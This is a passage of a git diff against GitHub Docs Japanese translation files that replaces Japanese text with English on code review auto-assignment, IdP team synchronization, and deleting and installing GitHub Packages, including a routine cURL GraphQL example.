ルーティングアルゴリズム +### Routing algorithms -コードレビューの割り当てでは、2 つの可能なアルゴリズムのいずれかに基づいて、レビュー担当者が自動的に選択されて割り当てられます。 +Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. -ラウンドロビンアルゴリズムは、現在未処理のレビューの数とは関係なく、Team のすべてのメンバー間で交互に、最も新しいレビューリクエストを誰が受け取ったかに基づいてレビュー担当者を選択します。 +The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. -ロードバランスアルゴリズムは、各メンバーの最近のレビューリクエスト合計数に基づいてレビュー担当者を選択し、メンバーごとの未処理レビューの数を考慮します。 ロードバランスアルゴリズムは、各 Teamメンバーが 30 日間に等しい数のプルリクエストをレビューすることを保証しようとします。 +The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period. Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)." @@ -57,9 +57,11 @@ Any team members that have set their status to "Busy" will not be selected for r {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png) -2. Select **Only notify requested team members.** ![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png) -3. [**Save changes**] をクリックします。 +5. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +2. Select **Only notify requested team members.** +![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png) +3. Click **Save changes**. {% endif %} ## Configuring auto assignment @@ -67,24 +69,30 @@ Any team members that have set their status to "Busy" will not be selected for r {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. In the left sidebar, click **Code review** ![Code review button](/assets/images/help/teams/review-button.png) -6. [**Enable auto assignment**] を選択します。 ![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png) -7. [How many team members should be assigned to review?] でドロップダウンメニューを使用し、各プルリクエストに割り当てるレビュー担当者の数を選択します。 ![[Number of reviewers] ドロップダウン](/assets/images/help/teams/review-assignment-number.png) -8. [Routing algorithm] のドロップダウンメニューで、使用するアルゴリズムを選択します。 詳細は、「[ルーティングアルゴリズム](#routing-algorithms)」を参照してください。 ![[Routing algorithm] ドロップダウン](/assets/images/help/teams/review-assignment-algorithm.png) -9. オプションで、Team の特定メンバーを常にスキップする場合は、[**Never assign certain team members**] を選択します。 次に、スキップする 1 つ以上の Team メンバーを選択します。 ![[Never assign certain team members] チェックボックスとラジオボタン](/assets/images/help/teams/review-assignment-skip-members.png) -{% ifversion fpt or ghec or ghae-next or ghes > 3.2 %} +5. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +6. Select **Enable auto assignment**. +![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png) +7. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request. +![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png) +8. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)." +![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png) +9. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip. +![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png) +{% ifversion fpt or ghec or ghae-issue-5108 or ghes > 3.2 %} 11. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**. 12. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**. 13. Optionally, to remove the review request from the team when assigning team members, select **Team review request**. {%- else %} -10. オプションで、プルレビューリクエストごとのコードレビュー割り当てによって選択された Teamメンバーのみに通知する場合は、[Notifications] で[**If assigning team members, don't notify the entire team.**] を選択します。 +10. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.** {%- endif %} -14. [**Save changes**] をクリックします。 +14. Click **Save changes**. ## Disabling auto assignment {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} -5. [**Enable auto assignment**] を選択してチェックマークを外します。 ![[Code review assignment] ボタン](/assets/images/help/teams/review-assignment-enable.png) -6. [**Save changes**] をクリックします。 +5. Select **Enable auto assignment** to remove the checkmark. +![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png) +6. Click **Save changes**. diff --git a/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md index 812a3e6de0..1c53bcbdc8 100644 --- a/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md +++ b/translations/ja-JP/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md @@ -1,9 +1,9 @@ --- -title: Team をアイデンティティプロバイダグループと同期する -intro: '{% data variables.product.product_name %} Team をアイデンティティプロバイダ (IdP) グループと同期して、Team メンバーを自動的に追加あるいは削除することができます。' +title: Synchronizing a team with an identity provider group +intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group -product: '{% data reusables.gated-features.team-synchronization %}' +product: '{% data reusables.gated-features.team-synchronization %} ' permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.' versions: fpt: '*' @@ -12,92 +12,95 @@ versions: topics: - Organizations - Teams -shortTitle: IdPとの同期 +shortTitle: Synchronize with an IdP --- -{% data reusables.gated-features.okta-team-sync %} - {% data reusables.enterprise-accounts.emu-scim-note %} -## Team の同期について +## About team synchronization {% data reusables.identity-and-permissions.about-team-sync %} -{% ifversion fpt or ghec %}最大 5 つの IdP グループを {% data variables.product.product_name %} チームに接続できます。{% elsif ghae %}{% data variables.product.product_name %} の Team を 1 つの IdP グループに接続できます。 グループ内のすべてのユーザは自動的にチームに追加され、メンバーとして親 Organization にも追加されます。 グループを Team から切断すると、Team のメンバーシップを介して Organization のメンバーになったユーザは Organization から削除されます。{% endif %} IdP グループを複数の {% data variables.product.product_name %} Team に割り当てることができます。 +{% ifversion fpt or ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams. -{% ifversion fpt or ghec %}Team 同期は、5000 以上のメンバーがいる IdP グループをサポートしていません。{% endif %} +{% ifversion fpt or ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %} -いったん {% data variables.product.prodname_dotcom %} Team が IdP グループに接続されたら、IdP 管理者はアイデンティティプロバイダを通して Team メンバーシップを変更する必要があります。 {% data variables.product.product_name %}で、{% ifversion fpt or ghec %} または API を使用して{% endif %}Team のメンバーシップを管理することはできません。 +Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion fpt or ghec %} or using the API{% endif %}. {% ifversion fpt or ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %} {% ifversion fpt or ghec %} -IdP を通じた Team メンバーシップ変更はすべて、Team 同期ボットによる変更として {% data variables.product.product_name %} の Audit log に記載されます。 IdP は、Team メンバーシップのデータを 1 時間に 1 回 {% data variables.product.prodname_dotcom %} に送信します。 Team を IdP グループに接続すると、Team メンバーが削除される場合があります。 詳細は「[同期される Team のメンバーに関する要件](#requirements-for-members-of-synchronized-teams)」を参照してください。 +All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour. +Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)." {% endif %} {% ifversion ghae %} -IdP上でグループのメンバーシップが変更された場合、IdPはIdPが決定しているスケジュールに従い、その変更と共にSCIMリクエストを{% data variables.product.product_name %}に送信します。 {% data variables.product.prodname_dotcom %} Team または Organization のメンバーシップを変更するリクエストは、ユーザプロビジョニングの設定に使用されたアカウントによって行われた変更として監査ログに登録されます。 このアカウントに関する詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise)」を参照してください。 SCIM リクエストのスケジュールについて詳しくは、Microsoft Docs の「[ユーザプロビジョニングのステータスの確認](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)」を参照してください。 +When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs. {% endif %} -親チームは IdP グループと同期できません。 IdP グループに接続したい Team が親チームの場合、新しい Team を作るか、Team と親チームのネスト関係を削除することをお勧めします。 詳細は、「[Team について](/articles/about-teams#nested-teams)」、「[Team の作成](/organizations/organizing-members-into-teams/creating-a-team)」、「[Organization 階層内で Team を移動する](/articles/moving-a-team-in-your-organizations-hierarchy)」を参照してください。 +Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)." -IdP グループに接続された Team を含めて {% data variables.product.prodname_dotcom %} Team のリポジトリに対するアクセスを管理するには、{% data variables.product.product_name %} で変更を行う必要があります。 詳細は「[Team について](/articles/about-teams)」および「[Organization リポジトリへの Team のアクセスを管理する](/articles/managing-team-access-to-an-organization-repository)」を参照してください。 +To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." -{% ifversion fpt or ghec %}API を使用して Team の同期を管理することもできます。 詳しい情報については、「[Team 同期](/rest/reference/teams#team-sync)」を参照してください。{% endif %} +{% ifversion fpt or ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %} {% ifversion fpt or ghec %} -## 同期される Team のメンバーに関する要件 +## Requirements for members of synchronized teams -チームを IdP グループに接続した後、Team 同期により、次の場合にのみ IdP グループの各メンバーが {% data variables.product.product_name %} 上の対応するチームに追加されます。 -- そのユーザが {% data variables.product.product_name %} の Organization のメンバーの場合。 -- そのユーザがすでに {% data variables.product.product_name %} のユーザアカウントでログインしており、少なくとも 1 回は SAML シングルサインオンを介して Organization または Enterprise アカウントに認証されている場合。 -- そのユーザの SSO ID が IdP グループのメンバーである場合。 +After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if: +- The person is a member of the organization on {% data variables.product.product_name %}. +- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once. +- The person's SSO identity is a member of the IdP group. -これらの条件を満たしていない既存の Team またはグループメンバーは、{% data variables.product.product_name %} の Team から自動的に削除され、リポジトリにアクセスできなくなります。 ユーザのリンクされた ID を取り消すと、IdP グループにマップされている Team からユーザが削除されます。 For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." +Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." -削除された Team メンバーは、SSO を使って Organization または Enterprise アカウントに認証され、接続先の IdP グループに移動すれば、再び Team に自動的に追加できます。 +A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group. -意図しない Team メンバーの削除を避けるために、Organization または Enterprise アカウントで SAML SSO を施行し、メンバーシップデータを同期するため新しい Team を作成し、IdP グループのメンバーシップを確認してから既存の Team を同期することをおすすめします。 For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." {% endif %} -## 必要な環境 +## Prerequisites {% ifversion fpt or ghec %} -{% data variables.product.product_name %} チームに接続する前に、Organization またはEnterprise のオーナーは、Organization または Enterprise アカウントの Team 同期を有効にする必要があります。 For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." -Team メンバーを誤って削除しないように、お使いの IdP の管理ポータルにアクセスし、現在の各 Team メンバーが、接続しようとしている IdP グループにも属していることを確認してください。 アイデンティティプロバイダにこうしたアクセスができない場合は、IdP 管理者にお問い合わせください。 +To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator. -SAML SSO を使って認証する必要があります。 詳しい情報については「[SAMLシングルサインオンで認証する](/articles/authenticating-with-saml-single-sign-on)」を参照してください。 +You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." {% elsif ghae %} -IdP グループを含む {% data variables.product.product_name %} チームに接続するには、最初に、サポートされている System for Cross-domain Identity Management (SCIM) を使用して {% data variables.product.product_location %} のユーザプロビジョニングを設定する必要があります。 詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise)」を参照してください。 +Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." -SCIMを使用して{% data variables.product.product_name %} のユーザプロビジョニングを設定したら、{% data variables.product.product_name %} で使用するすべての IdP グループに {% data variables.product.product_name %} アプリケーションを割り当てることができます。 詳しい情報については、Microsoft Docs の「[GitHub AE への自動ユーザプロビジョニングを設定する](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae)」を参照してください。 +Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs. {% endif %} -## IdP グループをTeam に接続する +## Connecting an IdP group to a team -IdP グループを {% data variables.product.product_name %} Team に接続すると、グループ内のすべてのユーザが自動的に Team に追加されます。 {% ifversion ghae %}親 Organization のメンバーになっていないユーザも Organization に追加されます。{% endif %} +When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. [Identity Provider Groups] で、ドロップダウンメニューを使用して最大 5 つまでアイデンティティプロバイダグループを選択します。 ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} -6. [Identity Provider Group] で、ドロップダウンメニューを使用してリストからアイデンティティプロバイダグループを選択します。 ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} -7. [**Save changes**] をクリックします。 +6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups. + ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list. + ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} +7. Click **Save changes**. -## IdP グループをTeam から切断する +## Disconnecting an IdP group from a team -{% data variables.product.prodname_dotcom %} Team から IdP グループを切断すると、その IdP グループを介して {% data variables.product.prodname_dotcom %} Team に割り当てられている Team メンバーは Team から削除されます。 {% ifversion ghae %} その Team 接続のためだけに親 Organization のメンバーであったユーザも、Organization から削除されます。{% endif %} +If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. [Identity Provider Groups] で、切断したい IdP グループの右にある {% octicon "x" aria-label="X symbol" %} をクリックします。 ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} -6. [Identity Provider Groups] で、切断したい IdP グループの右にある {% octicon "x" aria-label="X symbol" %} をクリックします。 ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} -7. [**Save changes**] をクリックします。 +6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} +7. Click **Save changes**. diff --git a/translations/ja-JP/content/packages/learn-github-packages/deleting-a-package.md b/translations/ja-JP/content/packages/learn-github-packages/deleting-a-package.md index 43725fc410..56a00d1b5b 100644 --- a/translations/ja-JP/content/packages/learn-github-packages/deleting-a-package.md +++ b/translations/ja-JP/content/packages/learn-github-packages/deleting-a-package.md @@ -1,6 +1,6 @@ --- -title: パッケージを削除する -intro: 'GraphQLを使って、あるいは{% data variables.product.product_name %}上で{% ifversion not ghae %}プライベート{% endif %}パッケージのバージョンを削除できます。' +title: Deleting a package +intro: 'You can delete a version of a {% ifversion not ghae %}private{% endif %} package using GraphQL or on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.packages %}' versions: ghes: '>=2.22 <3.1' @@ -10,26 +10,30 @@ versions: {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% ifversion not ghae %}現時点では、{% data variables.product.product_location %}の{% data variables.product.prodname_registry %} ではパブリックパッケージの削除をサポートしていません。{% endif %} +{% ifversion not ghae %}At this time, {% data variables.product.prodname_registry %} on {% data variables.product.product_location %} does not support deleting public packages.{% endif %} -{% data variables.product.product_name %}上、またはGraphQL APIで、{% ifversion not ghae %}プライベート{% endif %}パッケージの指定したバージョンだけを削除できます。 {% data variables.product.product_name %}上で{% ifversion not ghae %}プライベート{% endif %}パッケージが完全に表示されないように削除するには、まずそのパッケージのすべてのバージョンを削除しなければなりません。 +You can only delete a specified version of a {% ifversion not ghae %}private {% endif %}package on {% data variables.product.product_name %} or with the GraphQL API. To remove an entire {% ifversion not ghae %}private {% endif %}package from appearing on {% data variables.product.product_name %}, you must delete every version of the package first. -## {% data variables.product.product_name %}上で{% ifversion not ghae %}プライベート{% endif %}パッケージのバージョンを削除する +## Deleting a version of a {% ifversion not ghae %}private {% endif %}package on {% data variables.product.product_name %} -{% ifversion not ghae %}プライベート{% endif %}パッケージのバージョンを削除するには、そのリポジトリの管理権限が必要です。 +To delete a {% ifversion not ghae %}private {% endif %}package version, you must have admin permissions in the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} -3. 削除したいパッケージの名前をクリックしてください。 ![パッケージ名](/assets/images/help/package-registry/select-pkg-cloud.png) -4. 右側で**Edit package（パッケージの編集）**ドロップダウンを使い、"Manage versions（バージョンの管理）"を選択してください。 ![パッケージ名](/assets/images/help/package-registry/manage-versions.png) -5. 削除したいバージョンの右で**Delete（削除）**をクリックしてください。 ![パッケージの削除ボタン](/assets/images/help/package-registry/delete-package-button.png) -6. 削除を確認するために、パッケージ名を入力して**I understand the consequences, delete this version（生じることを理解したので、このバージョンを削除してください）**をクリックしてください。 ![パッケージの削除の確認ボタン](/assets/images/help/package-registry/confirm-package-deletion.png) +3. Click the name of the package that you want to delete. + ![Package name](/assets/images/help/package-registry/select-pkg-cloud.png) +4. On the right, use the **Edit package** drop-down and select "Manage versions". + ![Package name](/assets/images/help/package-registry/manage-versions.png) +5. To the right of the version you want to delete, click **Delete**. + ![Delete package button](/assets/images/help/package-registry/delete-package-button.png) +6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**. + ![Confirm package deletion button](/assets/images/help/package-registry/confirm-package-deletion.png) -## GraphQLでリポジトリの{% ifversion not ghae %}プライベート{% endif %}パッケージのバージョンを削除する +## Deleting a version of a {% ifversion not ghae %}private {% endif %}package with GraphQL -GraphQL APIの`deletePackageVersion`ミューテーションを使ってください。 `read:packages`、`delete:packages`、`repo`スコープを持つトークンを使わなければなりません。 トークンに関する詳しい情報については「[{% data variables.product.prodname_registry %}について](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)」を参照してください。 +Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)." -以下は、個人アクセストークンを使って`MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`というパッケージバージョンIDを持つパッケージのバージョンを削除するcURLコマンドの例です。 +Here is an example cURL command to delete a package version with the package version ID of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`, using a personal access token. ```shell curl -X POST \ @@ -39,8 +43,8 @@ curl -X POST \ HOSTNAME/graphql ``` -パッケージのバージョンIDと併せて{% data variables.product.prodname_registry %}に公開したすべての{% ifversion not ghae %}プライベート{% endif %}パッケージを見つけるには、`repository`オブジェクトを通じて`registryPackagesForQuery`コネクションが利用できます。 `read:packages`及び`repo`のスコープを持つトークンが必要です。 For more information, see "[`registryPackagesForQuery`](/v4/object/registrypackageconnection/)." +To find all of the {% ifversion not ghae %}private {% endif %}packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a token with the `read:packages` and `repo` scopes. For more information, see the [`packages`](/graphql/reference/objects#repository) connection or the [`PackageOwner`](/graphql/reference/interfaces#packageowner) interface. -`deletePackageVersion`ミューテーションの詳しい情報については、「[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)」を参照してください。 +For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`](/graphql/reference/mutations#deletepackageversion)." -パッケージ全体を削除することはできませんが、パッケージのすべてのバージョンを削除すれば、パッケージは{% data variables.product.product_name %}上に表示されなくなります。 +You cannot delete an entire package, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}. diff --git a/translations/ja-JP/content/packages/learn-github-packages/installing-a-package.md b/translations/ja-JP/content/packages/learn-github-packages/installing-a-package.md index b2ac3f292c..a3523e6ab3 100644 --- a/translations/ja-JP/content/packages/learn-github-packages/installing-a-package.md +++ b/translations/ja-JP/content/packages/learn-github-packages/installing-a-package.md @@ -1,6 +1,6 @@ --- -title: パッケージをインストールする -intro: '{% data variables.product.prodname_registry %}からパッケージをインストールし、そのパッケージを自分のプロジェクトの依存関係として使うことができます。' +title: Installing a package +intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /github/managing-packages-with-github-packages/installing-a-package @@ -17,17 +17,17 @@ versions: {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -## パッケージのインストールについて +## About package installation -You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. 詳しい情報については「[パッケージを{% data variables.product.prodname_registry %}で検索する](/search-github/searching-on-github/searching-for-packages)」を参照してください。 +You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)." -パッケージを見つけたなら、そのパッケージの説明と、パッケージのページにあるインストールと利用方法の指示を読むことができます。 +After you find a package, you can read the package's description and installation and usage instructions on the package page. -## パッケージをインストールする +## Installing a package -以下の同じ一般的なガイドラインに従って、{% ifversion fpt or ghae or ghec %}サポートされているいずれかのパッケージのクライアント{% else %}インスタンスで有効化しているパッケージのタイプ{% endif %}を使い、{% data variables.product.prodname_registry %} からパッケージをインストールできます。 +You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines. -1. 使用するパッケージクライアントについての指示に従って、{% data variables.product.prodname_registry %}の認証をしてください。 詳しい情報については「[GitHub Packagesでの認証](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)」を参照してください。 -2. 使用するパッケージクライアントに関する指示に従って、パッケージをインストールしてください。 +1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)." +2. Install the package using the instructions for your package client. -使用するパッケージクライアントに特有の指示については、「[{% data variables.product.prodname_registry %}の利用](/packages/working-with-a-github-packages-registry)」を参照してください。 +For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)." diff --git a/translations/ja-JP/content/packages/learn-github-packages/introduction-to-github-packages.md b/translations/ja-JP/content/packages/learn-github-packages/introduction-to-github-packages.md index fdaafab285..63268fe2a2 100644 --- a/translations/ja-JP/content/packages/learn-github-packages/introduction-to-github-packages.md +++ b/translations/ja-JP/content/packages/learn-github-packages/introduction-to-github-packages.md @@ -1,6 +1,6 @@ --- -title: GitHub Packagesの紹介 -intro: '{% data variables.product.prodname_registry %}はソフトウェアパッケージのホスティングサービスであり、ソフトウェアパッケージを{% ifversion ghae %}特定のユーザや社内に対し{% else %}非公開または公開でホストでき、{% endif %}パッケージをプロジェクト中で依存関係として使えるようになります。' +title: Introduction to GitHub Packages +intro: '{% data variables.product.prodname_registry %} is a software package hosting service that allows you to host your software packages privately {% ifversion ghae %} for specified users or internally for your enterprise{% else %}or publicly{% endif %} and use packages as dependencies in your projects.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/about-github-package-registry @@ -15,121 +15,119 @@ versions: ghes: 